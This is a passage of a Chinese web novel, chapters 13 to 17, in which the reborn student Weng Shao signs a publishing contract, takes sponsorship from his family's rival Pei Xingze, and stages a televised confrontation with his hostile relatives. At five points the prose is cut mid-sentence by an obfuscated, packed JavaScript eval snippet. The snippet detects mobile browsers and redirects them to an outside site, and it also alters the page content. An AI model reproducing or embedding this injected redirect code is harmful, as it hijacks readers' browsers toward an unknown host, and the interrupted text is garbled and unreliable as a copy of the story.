翁绍将昨天晚上发生的事情详略得当地叙述了一遍。陈老师听着翁绍的叙述,不由想到了前段时间,她在校门口书报亭买的八卦杂志里面报道的内容。 “这个裴氏集团,是不是跟你们家有仇那个?”陈老师迟疑片刻,还是开口问了出来。 翁绍点点头,坦然说道:“裴总光明磊落,刚一见面就提到了裴家跟翁家的旧怨。” 陈老师动了动嘴唇,想说什么,最终也没说出口。反倒是坐一旁吃瓜看戏的老师们七嘴八舌地讨论起来:“那他在这个时候站出来资助你,肯定是有别的想法吧?” 这位老师脸皮薄,没好意思戳穿裴行则就是别有用心,但还是提点翁绍道:“你可想好了。以你们家跟裴家的关系,你要是接受了那位裴总的资助,你们家里能同意吗?” 要是翁家人都不同意的话,这件事恐怕还有得闹。 翁绍心知肚明,他就怕事情闹不起来。于是他当着几位老师的面,满是无奈地苦笑道:“那也没办法。他们不肯资助我上学,甚至还在我考试当天,买通记者去考场堵我,生怕我考好了,他们面子上过不去。” 几位老师听得心惊肉跳。他们当然知道翁绍考试当天,有记者堵在考场门口采访翁绍,但他们却不知道,这些记者竟然是翁家人安排的。 这可是毁人前途的损事儿!陈老师忍不住开口:“真是你家里人干的,有证据吗?” 翁绍点点头:“因为咱们学校的同学仗义执言,那些记者没达到采访我的目的,原本是不打算把那些视频播出来的。是裴总的助理找到他们,几经周折,才把这些视频播出来。” 翁绍将这些台面下的交锋悉数说出,主打一个事无不可对人言。 几位老师听得纷纷倒吸一口凉气,忍不住面面相觑:这都是什么事儿啊! 本来还有人对翁绍接受裴家资助这件事不以为然。觉得翁绍没必要为了赌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15330690|167352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一口气,做出让亲者痛仇者快的事情。听了这些话,也没什么好说的了。 国人向来视高考为改变命运的唯一路径,这些教书育人的老师更是如此。不管出于什么目的,他们都不能接受翁绍家人在高考时搞小动作。这种行为已经严重触及到老师们的三观和底线。 “不是,那不是你的亲生父母吗?他们为什么要这么做?”年龄偏大的老师百思不得其解。在他们朴素的价值观中,甚至还坚信“天下无不是的父母”。因此翁绍跟家人闹掰以后,这些人虽然理解翁绍是被逼无奈,但在私底下,还是有人暗戳戳觉得翁绍也有不对的地方。甚至觉得翁绍年轻气盛,处事偏激。 但是现在不一样了,任他们再怎么找借口,也无法解释翁家人的奇葩操作。 “裴总说,翁家是怕我的事情闹大了,会影响到翁氏集团的企业形象,进而影响翁氏集团的股价下跌,所以才会牺牲我……”说到这里,翁绍眉目黯然,连声音都有些哽咽:“其实也没什么。他们打从一开始就没有选过我,现在为了利益牺牲我,也很正常。” 陈老师听着翁绍自暴自弃的话,只觉得心都要碎了。她一把搂住自己的得意门生,轻轻拍打着他的后背安慰道:“你别伤心。这世上不是所有的父母都会爱孩子,但你一定要学会爱自己。你不是说,你已经接受裴氏集团的资助,还成了他们新楼盘的置业顾问吗?” 陈老师为了转移翁绍的注意力,立刻说道:“正好我想给你师姐买一套房子,不如你跟我说说临湖雅苑的房子怎么卖,好不好?” 翁绍情绪低落,却假装无事地说道:“我还没来得及去售楼处报道……” 翁绍当然知道,陈老师在这个时间段,正打算给她即将大学毕业的女儿买房子。只是上一世,陈老师运气不好,挑挑拣拣到了最后,竟然买到一套烂尾楼。而陈老师唯一的女儿,也在几年后遭遇意外。 翁绍还记得他骤得噩耗,去陈老师家里吊唁时,饱受打击的陈老师已经变得疯疯癫癫。原本乌黑浓密的头发一夜之间全都白了,整个人苍老了几十岁,只会搂着女儿的遗像喃喃自语:“都是我的错,我怎么会买到烂尾楼……” 翁绍从陈老师爱人的口中得知,贷款买了烂尾楼以后,陈老师家的经济压力骤然增大。陈老师的女儿为了多赚点钱,白天上班晚上做兼职,却在回家路上出了事。 时光飞速流转,灵堂中陈老师形如槁木的一张脸,同眼前这张充满了关切和爱护的面庞重叠在一起。翁绍不动声色垂下眼眸。有置业顾问这层身份做掩护,也方便他搜集本市各大楼盘开发商的资料。至少这一世,他不会让陈老师买到烂尾楼。 裴行则的预感没有错,凭他一己之力,不仅可以左右本市楼盘在未来几个月内的销售局面,甚至可以左右许多人的一生。 他翁绍做事,向来环环相扣,一石数鸟。 14.第 14 章 王主编是个四十多岁的女人。面容白皙,梳着一头干练的短发。是那种打眼一看,就知道她做事一定雷厉风行,并且很有主见的职业女性。 陈老师把见面地点约在了学校对面的一个小茶馆。她和翁绍赶过去的时候,王主编已经提前到了。 盛夏时节,阳光烂漫。她坐在靠窗的一个卡座里,点了一壶玫瑰花茶。在茶香氤氲中,她微微低着头,全神贯注地翻阅手上的杂志。 “让你久等了。”陈老师带着翁绍走到卡座前,一边坐下,一边朝着王主编介绍道:“这就是我跟你提过的翁绍同学。” “也没等多久,我连一篇文章都没看完,你们就来了。”王主编说到这里,放下手中的杂志,起身朝着翁绍伸出了手,笑眯眯道:“原来你就是陈老师的得意门生,我对你可是久仰大名。” 翁绍眼神扫过王主编放到桌上的杂志——竟然是最新一期的《易周刊》。杂志封面是翁绍和裴行则并肩走入帝豪皇庭大酒店的照片,硕大标题赫然写着“裴氏总裁私会翁家幼子,翁氏集团恐将陷入危机公关”。 翁绍不动声色瞥开眼,看来裴行则的执行力一如既往的高效。 王主编注意到翁绍的视线,笑咪咪道:“等你们的时候觉得无聊,就随便买了一本杂志来看。” 翁绍没有接茬,他礼貌的同王主编握手,恰到好处地表露出一个刚刚踏入社会的年轻人,同年长者寒暄时应该表现出来的沉默和谦逊:“您好,王主编。” 王主编看着翁绍淡然自若的表现,笑而不语。 大多数家庭贫苦,且富有才华的年轻人都会经历这么一个阶段——沉默内敛、不善言辞,身上会带着一种由原生家庭造成的不自信。但是翁绍并不是这样的。 王主编在电视上看过翁绍舌战群记的场面,也看过翁绍整理的学习笔记和思维导图。没见面之前,她原本以为翁绍应该是那种思维敏捷、口齿伶俐、年少轻狂、放诞不羁,甚至行事会有些偏激的年轻人。没想到真正见面以后,他本人给人的感觉竟然出人意料的沉稳。 这是一个很会控制自己情绪的年轻人。 翁绍也注意到了王主编探究的眼神,但他并没有什么反应。短暂的寒暄过后,翁绍坐到陈老师的身边。陈老师问他:“你想喝什么?” 翁绍点了一杯冷泡茶。 王主编将自己提前准备好的合同递给翁绍:“这是初步草拟的合同,你先看看,有什么问题和要求都可以提出来。” 话虽如此,翁绍却没有跟王主编讨价还价的想法。他知道作为一家省级出版社的主编,王主编之所以答应出版他的学习笔记,完全都是陈老师竭力推荐的结果。 这种情况下,如果翁绍拎不清自己的身份,在看合同时夸夸其谈,甚至大肆提条件,只会让别人觉得陈老师的学生轻浮聒噪,很没有分寸。 更何况翁绍在乎的,始终都是让自己的学习笔记尽快出版——最好赶在他去电视台录制节目之前。只要能够保证这一点,其他的条件都是细枝末节。 “我没签过合同,还是让陈老师帮我看吧。”翁绍直接把合同交给了陈老师。 面对自己学生毫无保留的全然信任,陈老师非常受用。她接过合同仔细翻看了一遍,边看边跟翁绍讲解里面的条款——因为翁绍是新人,第一次出版的版税率是5%,五千册。如果后续还会加印的话,每加印一万册,版税率提高1%,直到10%封顶。 翁绍略感意外,他没想到出版社给出的版税这么高。 王主编见状,笑眯眯说道:“你们陈老师很为你的事情上心,这些条件都是她跟我谈的——她自己出版时都没这么斤斤计较过。” 言外之意,要不是陈老师据理力争,出版社不可能给一个新人开出这么好的条件。 陈老师有些好笑地看着越说越上头的王主编:“你跟孩子说这些干嘛。我之所以据理力争,是因为我非常了解这些笔记的含金量。” 王主编同意这句话,但她依然要让翁绍明白,陈老师为了这件事,付出了多少精力和口水。 翁绍确实很感动。他毫不犹豫地拿出钢笔,在合同上签下了自己的名字。 签完合同之后,翁绍顺便提到了自己即将到电视台录制节目:“……我可以在节目上,宣传我的学习笔记。” 这下子连王主编都觉得震惊了:“你要去电视台录制节目?” 翁绍点点头:“裴氏集团打算资助我上学。这个节目也是他们安排的。” 停顿片刻,翁绍又补充道:“裴总跟我说,他会安排一档收视率高,并且有社会影响力的访谈节目。” 王主编立刻意识到其中的商机。再次看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15337586|167352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向翁绍时,连眼神都变了。 如果翁绍在签合同之前,提出这件事,那必定是一个很好的谈判筹码,可翁绍却选择在签字之后提起这件事,那就是竭力配合出版社的宣传工作了。 仅仅是一个步骤的调换,就让王主编对翁绍刮目相看。 “看来,能够签下你这么有前途的作者,是我们出版社的荣幸。”王主编客气地说道。 她不得不感慨。就是这样一个不显山不露水的小操作,立刻就把王主编施加给陈老师的人情化解了。如果翁绍上了节目以后,笔记卖得好,说不准她还要反过来欠陈老师的人情。 ——小小年纪,怎么能这么懂人情世故呢? 王主编百思不得其解,只能安慰自己穷人的孩子早当家。 * 两个小时后,回到寝室的翁绍将座机的电话线插上,主动联系了裴行则。他跟裴行则汇报了自己跟出版社签约的进度,恰好裴行则也有事情找他。两人约定半个小时后,在学校门口见面。 挂断电话,翁绍正准备出门,一阵刺耳的电话铃声忽然响起。 翁绍拿起电话,毫不意外听到了听筒另一端传来的咆哮声:“我找翁绍那个吃里扒外的畜牲。” 翁绍淡定问道:“畜牲找谁?” “我找翁绍”话没说完,打了一宿电话终于打通的翁英杰忽然反应过来:“你这个牙尖嘴利的小畜牲——” 翁绍“啪”的一声,挂断电话,将翁英杰的谩骂悉数堵了回去。 半个小时后后,市一中门口 裴行则依旧坐着那辆劳斯莱斯幻影。翁绍刚上车,就被他塞了一个盒子。 翁绍微微一怔,抬眼看向裴行则。 裴行则笑吟吟道:“我忽然发现,跟你联系很不方便,就给你选了一只手机。你看看喜不喜欢。” 不等翁绍开口,裴行则又说道:“这是工作需要,不许拒绝。” 翁绍拆开盒子,发现裴行则送他的手机跟裴行则自己用的是同一款,只是颜色不一样。裴行则用的那款手机是黑色的,他这款是白色的。 裴行则甚至连电话卡都帮他办好了。翁绍看着通讯录里面唯一一个联系人,温声道谢。 “这有什么好谢的。”裴行则用目光描绘着翁绍的眉眼,含笑说道:“你我之间,不必客气。” 15.第 15 章 作为一家具有社会担当的跨国集团,裴氏集团每年都会投入大量基金做慈善,其中就包括跟青基会共同发起的希望工程助学活动——每年投入五千万,资助一万名贫困学子读大学。 而在今年,翁绍也成为了这万分之一。 黑色的劳斯莱斯幻影在公路上飞驰而过。车厢内,裴行则将一张五千元的现金支票交给翁绍,笑吟吟道:“我已经跟分公司的人沟通过了,在你任职临湖雅苑销售顾问期间,裴氏地产会为你和你的母亲提供制服和员工宿舍……”确保翁绍没有后顾之忧。 翁绍屈起手指,弹了弹支票,眼中笑意加深:“我就知道,裴总的执行力向来是一等一的高。” 话音刚落,半边身体忽然一沉。在车辆拐弯的惯性下,裴行则的身体不由自主地往翁绍的一侧倾了倾。 肉.体的碰撞一触即分,裴行则彬彬有礼地解释道:“抱歉,是我没坐稳。” 翁绍还没开口,前排的司机已经知情识趣的将这口黑锅扣到了自己头上:“抱歉,老板,我会开慢一点。” 根本就没有感觉到任何惯力作用的翁绍:“……” 他似笑非笑地看了一眼身旁正襟危坐的裴行则,假惺惺地安慰道:“没关系的。可能是加长版的劳斯莱斯不太灵活。” 这回轮到裴行则和前排司机不吭声了。 裴行则轻咳一声,状若无事地转移话题:“……如果你没有别的要求,接下来,我会带着记者跟你一起回家。当着你父母的面,亲手把这笔钱交到你的手上,顺便公布裴氏地产为你安排勤工俭学岗位的事。” 裴行则越说越得意。只需花费五千块钱,并提供两间最低标准的员工宿舍,就能让翁氏集团和翁英杰那头老狐狸栽个大跟头。 杀人诛心,莫过于此。 翁绍也笑了:“都说授人以鱼不如授人以渔,我个人非常感激裴总和裴氏集团对我的帮助。” 四目相对,两人都不由自主地笑了起来。他们已经迫不及待想要看到接下来的场面了。 * 傍晚时分,一辆黑色的劳斯莱斯幻影和一辆新闻采访车缓缓驶入小河村。 坐在村口老槐树下纳凉的三姑六婆们眼睛齐刷刷的亮了。凭借敏锐的新闻嗅觉,她们果断判定这里边有事。 “那不是翁家老大的儿子嘛!”有人眼尖地看到了坐在豪车里的翁绍:“这小子真是出息了,竟然也坐上豪车了。” “也不知道这小子高考考得怎么样!” “他回来就回来呗,咋还带回来一辆新闻直通车?” 一语惊醒梦中人。正在闲聊的乡亲们只觉得头皮都要炸了。相互对视间,眼眸中的八卦之火“歘”地燃烧起来。 一群人不由分说,提起板凳就跟在了新闻采访车的后面。好在那两辆车开的都不快,等他们慢悠悠地停到翁英雄家门口时,大半个小河村的乡亲们都闻讯而来。 正在院子里拾掇菜地的余蕙心敲打着后背站起身,一脸狐疑地看着停在门口的豪车。 车门打开,翁绍率先走下来。余蕙心看到他的身影吓了一跳:“你咋还坐车回来了?” 紧随其后的裴大总裁也西装革履地下了车。手工定制的皮鞋踩在满是尘土的农村小院里,扬起细微的浮尘。裴行则大步流星走到余蕙心的面前,不由分说地伸出手:“您就是翁绍同学的母亲吧?您能培养出这么优秀的孩子,一定很辛苦。” “啊?”余蕙心一脸茫然的被裴行则握住手:“你是?” “我是裴行则,裴氏集团的执行总裁。我司多年来一直致力于帮助贫困学子健康成长……” 裴行则身后,肩负重任的媒体记者打从翁绍一下车,就开始了录像跟拍。 摄像镜头内,慈眉善目的裴行则当着余蕙心的面,将五千元的现金支票亲手交给翁绍。翁绍又把支票举到身前,跟裴行则合影留念。余蕙心一脸茫然地被翁绍拉到身边一起拍照。 周遭细细碎碎的议论声钻进耳朵,余蕙心后知后觉地反应过来:“你找到好心人资助你上学了?” “不光是资助我上学——”翁绍正要把裴行则安排他们两个去临湖雅苑做置业顾问和保洁的好消息分享给余蕙心,一道怒气冲冲的声音打断了他的话。 “不准收他的钱!”一个满头白发的老人用力挤开门口看热闹的人群,大步流星地走进院子。一眼就看到了并肩站在一起的三个人。 “你这个吃里扒外的畜牲!就为了区区几千块钱,你竟然跟咱们家的仇人勾搭到一起,你就这么不值钱?你这个恬不知耻的东西……”翁老爷子大动肝火,指着翁绍的鼻子破口大骂。 翁绍面无表情地看着歇斯底里的翁老爷子,一句话都没说。但是他的态度反而触发了翁老爷子的回忆。他立刻就回想起了翁绍在酒席上咄咄逼人气晕他的事。事后这个小畜生竟然还不知悔改,拒不认错。 翁老爷子一想到这里,气得手都哆嗦了。新仇旧恨加起来,他看向翁绍的眼神都是淬了毒的。 “你这个贪得无厌的杂种!”他将手颤颤巍巍地伸进兜里,掏出一沓钱,狠狠砸向翁绍的脑袋:“我怎么会养出你这么没脸没皮的孙子!你不就是想要钱吗?好!我给你钱!” 站在翁绍旁边的裴行则大步一迈,整个人挡在翁绍的面前。 红彤彤的钞票漫天飞舞,老人恶毒的咒骂充斥在耳边。周遭看客指指点点的背景逐渐虚化扭曲,那些厌恶的、鄙夷的、憎恨的、反感的,无数嘴脸陡然浮现在翁绍眼前—— “翁绍你这个疯子,你为了报复我们,报复爸妈,竟然跟裴家联手?你以为你这么做能得到什么好处?你不过是裴行则身边摇尾乞怜的一条狗!” “你这个该死的同性恋!你为了拉拢裴行则,竟然主动爬上他的床?你简直丢尽了我们翁家的脸面!我们翁家没有你这么自甘下贱的人!” “你这个吃里扒外的混账。早知道你有一天会联合外人抢走翁氏集团,我当初就不该心软让你回来。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15347403|167352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“你怎么还不去死?” “去死吧!” 最终,所有画面定格在翁老爷子被乡亲们七嘴八舌劝阻,却仍然愤怒挣扎、不停咒骂的狰狞面孔上:“你以为你毁掉翁家,就能过上好日子吗?你不过是别人对付英杰的一把枪!” “早知道你会变成今天这样,我当初就该把你扔到马桶里溺死。你这个忤逆不孝的孽种……” 眼见翁老爷子仗着自己年纪大倚老卖老,越说越难听,护在翁绍身前的裴行则给记者使了个眼色。 一直开着摄像机的媒体记者们立刻冲到翁老爷子面前:“原来您就是翁绍同学的爷爷。请问你作为长辈,为什么会用如此恶毒的语言咒骂自己的孙子?” 翁老爷子下意识推开怼到面前的摄像头:“你又是从哪儿冒出来的王八羔子?这是我们家的家事,外人少掺和。” “您一直在骂翁绍忤逆不孝,可是据我们所知,翁绍一直都是一名品学兼优的好学生。请问翁绍究竟哪里不孝顺,竟然能让您这么不满?” “那是你们被他骗了,他就是个忘恩负义、狼心狗肺的白眼狼。他为了钱,竟然能狠心抛弃他的养父,这难道还不够说明他不孝顺吗?” “可是据我们所知,翁绍之所以想要认回亲生父母,是想让翁英杰先生资助他上大学。翁英杰先生作为翁绍的亲生父亲,还是他法理上的二叔,无论从血脉的角度,还是从法律的角度上看,他都是翁绍的亲人,他为什么不愿意资助翁绍上大学呢?” “之前有网友质疑翁英杰每年花费数百万做慈善,却不肯资助自己的亲生儿子、救命大哥名义上的儿子念大学,是因为他根本不是真心做慈善,而是利用慈善作秀。其实他根本就是一个忘恩负义的小人。请问对于网友的质疑,您老人家怎么看?” “翁英杰不肯出钱资助自己的亲生儿子,裴氏集团听说了这件事,愿意资助翁绍同学,却遭到了您这个爷爷的强烈反对,请问您为什么要反对这件事?您不想让您的孙子上大学吗?” “听说您之前还以生病为借口,想让翁绍暂停学业去医院照顾你。翁绍没有答应您的要求,所以您才骂他不孝对不对?请问您当时是出于什么样的想法,才会让一名即将高考的高三学生放弃学业照顾您?” 翁老爷子哪里能回答出这么刁钻的问题。眼见他左支右绌、摇摇欲坠,差点被记者问倒,翁英杰一家终于出现了。 “爸!” “爷爷!” 从人群里挤出来的翁缜和翁绥两兄弟上前扶住翁老爷子,翁缜愤怒地看向翁绍,大义凛然地训斥道:“你作为爷爷的亲孙子,就这么看着那些记者刁难爷爷?也对,那些记者本来都是你带来的。你根本就是想让爷爷颜面尽失,想让我们翁家丢脸。你在报复我们。” “你很愤怒吗?”翁绍直视翁缜的眼睛,冷然说道:“我在考场被记者围住时,也很愤怒。你们找记者围攻我,想看我被千夫所指、万人唾骂的时候,有想过自己也会有这么一天吗?” 16.第 16 章 “够了!”眼见翁缜的气势被翁绍压住了,翁英杰不得不面色铁青地站出来:“不管怎么说,我们都是一家人。你有必要把自家的事情宣扬得人尽皆知吗?” 翁英杰说到这里,很刻意地看了一眼记者,嘲讽道:“你还找了记者来?你想干什么?你想让整个翁家颜面扫地,气死你爷爷吗?” “翁绍,你快点跟爷爷道歉吧!”翁绥搀扶着翁老爷子。一边给老爷子拍背顺气,一边心疼地谴责翁绍:“你从小一直在爷爷身边长大,爷爷最疼你了,你怎么能惹他生气?” “我看这位老人家身体健硕,声如洪钟,并不像是会被气死的模样。”未等翁绍开口,裴行则接过话茬:“倒是翁董事长,明知道我带着记者来做采访,却故意派出这么一位满口脏话的老人家,跑到这里装疯卖傻大吵大闹,我看你分明是想搅我的局。现在搅局不成,又想往我们头上泼脏水?” 裴行则说到这里啧啧摇头,表情玩味地说道:“翁董事长的行事手段还真是……一如既往的下贱。” 翁英杰脸色一沉,他目光阴鸷地看向裴行则:“这是我们翁家的家事,还轮不到外人置喙。裴先生如果没别的事,就带着你的记者离开吧。翁家不欢迎你们。” 裴行则饶有兴致地挑了下眉,刚要说什么,就听身后翁绍徐徐开口:“为什么要让记者离开?” 众人循声望去,只见翁绍眉目缱绻地笑了笑,一步一步从裴行则的身后走出来。 盛夏傍晚,金乌西垂。瑰丽的晚霞映得青年面如春水,但他的言语却犀利如刀:“我以为你们翁家人都很喜欢跟记者打交道。要不然的话,你们怎么会给记者钱,让记者在高考当天去考场采访我?” 听到翁绍的话,翁英杰的脸色更黑了:“你也是翁家人。” “是么?”翁绍一双桃花眼笑得深情款款,只是眼底却看不见一丝笑意:“我还以为你们不知道。” 翁绍的嘲讽过于犀利。翁英杰面子挂不住,张口就要骂人。可是摄像镜头就那么硬生生地怼在他面前,翁英杰顾忌家丑,只能暂且咽下这口恶气:“你不就是想要认回我们,还想让我们资助你上大学嘛。这件事情我同意了。你先把不相干的外人打发走,有什么事情,我们自家人关起门来慢慢谈。” 听到翁英杰的话,翁缜和翁绥不约而同地皱了皱眉。翁英杰开出的条件跟他们在家里商量的不一样。不过兄弟两个也能理解。以翁绍贪得无厌的性格,再加上裴行则从中搅混水,如果爸爸不加筹码,翁绍未必肯听话。 翁缜的眼神愈发森寒。他目光冷冷地看着翁绍,心里想的却是等眼前的危机消除以后,看他怎么收拾翁绍! 翁绥也是满脸不赞同地看着翁绍。他就知道翁绍就是个唯利是图的白眼狼。一边处心积虑地巴结翁家的仇人,眼见形势对翁家不利,他就坐地起价。这种人凭什么当他的哥哥? 他根本就不配! 翁绍不屑一顾地笑出声来。他不可思议地看着翁英杰,似乎没想到这人竟然真的这么蠢:“你该不会以为时至今日,我还会为了几千块钱,卑躬屈膝认贼作父吧?” 翁英杰听到这句话,心跳都漏了一拍,他目光狠戾地看向翁绍,下意识问道:“你说什么?” “我笑你蠢得像头猪一样!”翁绍笑得眼泪都流出来了:“你都说我狼子野心、贪得无厌了,你怎么会以为区区几千块就能收买我,让我老老实实听你的话?还是你从始至终就知道,我翁绍从来都是一个召之即来、挥之即去的蠢货,随便你勾勾手指,就能让我掏心掏肺,唾面自干?” 一阵晚风忽的从天边刮过,将青年的质问吹的七零八落。风雨欲来,院子里的枣树被风吹得簌簌作响。乍听起来,好像下雨了似的。 “翁绍的意思是,让你别再痴心妄想。”注意到翁绍的情绪不对劲,裴行则狠狠皱眉,下意识挡到翁绍面前,毫不客气地贴脸开大:“你自己做过什么丑事,你自己清楚。你买通记者去考场骚扰翁绍,差点毁了翁绍的前途。现在拿几千块钱,就想解决翁氏集团的公关危机,未免也想得太美了。” 翁英杰死死盯着翁绍的脸,发觉翁绍并没有表现出什么异样,不由得暗暗松了一口气,旋即阴沉着脸强调:“翁绍,我才是你的亲生父亲。你真的要听外人的挑拨吗?” 翁绍眼中的笑意更浓了。一双桃花眼明媚潋滟,连声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15352254|167352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 音里都带着真真切切的笑:“那有什么办法呢?谁让我们之间的父子之情,连几千块都不值。” 翁英杰没想到翁绍竟然这么刁钻难缠,心浮气躁地吸了口气:“我都说了——” “晚了。”翁绍说到这里,忽然看向眼躲在旁边的翁绥,莫名其妙地转移话题:“根据《最高人民法院、最高人民检察院关于办理利用信息网络实施诽谤等刑事案件适用法律若干问题的解释》,同一诽.谤信息实际被点击、浏览次数达到五千次以上,或者被转发次数达到五百次以上,应当认定为诽谤行为“情节严重”,构成刑法第二百四十六条规定的诽谤罪,处三年以下有期徒刑、拘役、管制或者剥夺政治权利……”【引用】 翁绥今年也才十八岁,跟翁绍一样高中刚毕业。他的城府到底没有翁英杰和翁缜那么深,听到这句话,吓得脸都白了:“你怎么知——” 翁缜心道不好,连忙开口打断翁绥的话:“你在胡言乱语什么?你以为你找到了裴行则当你的靠山,就能在爸爸面前耀武扬威?你不过是靠着出卖亲人的利益,满足你自己的私欲——” “话别说的这么难听。”裴行则施施然打断翁缜的话:“我们裴氏集团跟青基会联手举办的希望工程助学活动已经开展几十年了。跟某些利用慈善作秀的暴发户不一样,我司每年都会资助贫困学子读大学,翁绍只不过是其中之一。像他这样被裴氏集团资助的学生,全国还有几十万。你们翁家向来卑鄙无耻惯了,就不要以己度人。至少别用你们肮脏的思想,抹黑裴氏集团的慈善行为,还有被裴氏集团资助的优秀学子。” 裴行则抓住翁缜的一句失言,直接上纲上线,把自己架到了道德制高点上。即便如此,他尤不满足,继续穷追猛打:“其实我也很好奇,你口口声声说翁绍出卖亲人的利益满足自己的私欲,请问他出卖谁的利益了?怎么出卖的?他的私欲又是什么?如果说翁绍同学接受裴氏集团的资助,就是出卖翁家的利益……” 裴行则说到这里,非常微妙地停顿了一下,灼灼目光逼视着节节败退的翁缜,意味深长地笑了:“那你们翁家的利益还挺便宜的。” “五千块钱就能出卖了。” 17.第 17 章 当天晚上七点半,京海市电视台《晚间新闻》栏目花费整整一分钟的时间,紧急插播了裴氏集团执行总裁裴行则去贫困学子家中慰问,却遭到无理谩骂的新闻。 被记者精心剪辑过的视频里面,不仅出现了裴行则慰问学生家长,与受捐助学生合影留念的画面,还有翁老爷子愤怒砸钱、破口大骂、红色钞票漫天飞舞的经典镜头,甚至保留了翁老爷子被记者问到哑口无言以后,翁英杰一家人及时出场,企图道德绑架翁绍的部分内容。 短短一分钟的新闻,情节跌宕起伏、剧情反转不断,既包含了豪门商战、家庭伦理,又囊括了弘扬社会正能量的慈善救助精神,堪称是全国人民最喜闻乐见的狗血八点档。以至于这条新闻一经播出,京海市电视台的收视率就迅速飙升至同时段第一。 同一时间,内容更加丰富,时常也相对更长的视频也如雨后春笋一般,竞相出现在互联网上。 翁绍挨个视频点进去,发现这些视频的内容固然比京海市电视台《晚间新闻》播出的更为详细,但却十分默契的,全都剪掉了翁绍跟家人对峙的画面。 翁绍心知肚明,这是裴行则对他的保护。 虽然那天傍晚的对峙是两人早就策划好的,但是翁绍在对峙过程中,突然情绪失控的小细节,还是被裴行则注意到了。 只不过翁绍不想多说,裴行则也就体贴的没有多问。甚至在后续的宣传阶段,裴行则还让记者把翁绍情绪失控的画面全部删掉了。 少年歇斯底里的控诉如同孤雁的泣血嘶鸣,只保留在裴行则的电脑里。然而即便如此,相关视频的冲击性还是让全网吃瓜摸鱼的网友们裂开了。 【不是,视频里那老头儿怎么骂得那么难听,那真是翁绍的亲爷爷吗?我怎么觉得他跟他孙子有仇啊!】 【有钱人的想法还真是让人看不懂。能每年砸几百万做慈善,供外人上大学,却不肯供自己儿子念大学。亲生儿子接受了裴氏集团的捐助,还要被骂。就干脆别念大学,一辈子呆在老家种地就遂了他们的意呗!】 【不是,这位翁董事长对自己儿子都能这么狠毒,你们真信他是好心做慈善?】 【我听说他们一家人还买了营销号在网上散播谣言,又收买记者去考场堵人,这是奔着毁人前途去的吧?都是一家人,哪来这么大的深仇大恨?】 【不是所有父母都会爱自己的孩子。更何况翁绍在法律上还被过继出去了。】 【看得我生理反胃。】 【我现在觉得整个翁氏集团都有问题。之前不是还有媒体爆料翁氏集团董事长为富不仁、忘恩负义的事情吗?都说上梁不正下梁歪,董事长人品都不行,这家集团的产品能有什么质量。】 【谁知道翁氏集团旗下都有什么品牌,我要避雷!】 一时间,全网网友群情激奋。纷纷表示要抵制翁氏集团的产品。 而在现实中,翁绍的处境也没安静到哪里去。班级群和学校大群里的同学纷纷出来关心他,临湖雅苑售楼处的同事们也都跑过来安慰他,就连高考过后,就央求爸妈带他去国外旅行的张畅都不远万里地打电话回来。所有人都很担心翁绍。 “我知道你的家人对你心存偏见,但我没想到他们居然会这么过分。你想上最好的大学有什么错?他们不肯供你读书,还不允许别人资助你吗?他们凭什么那么霸道?”电话另一端,张畅义愤填膺地破口大骂:“那群人绝对是脑子有病!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15357206|167352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将翁家那群不是人的混蛋痛骂一顿之后,张畅又忧心忡忡地询问翁绍:“你没事吧?” 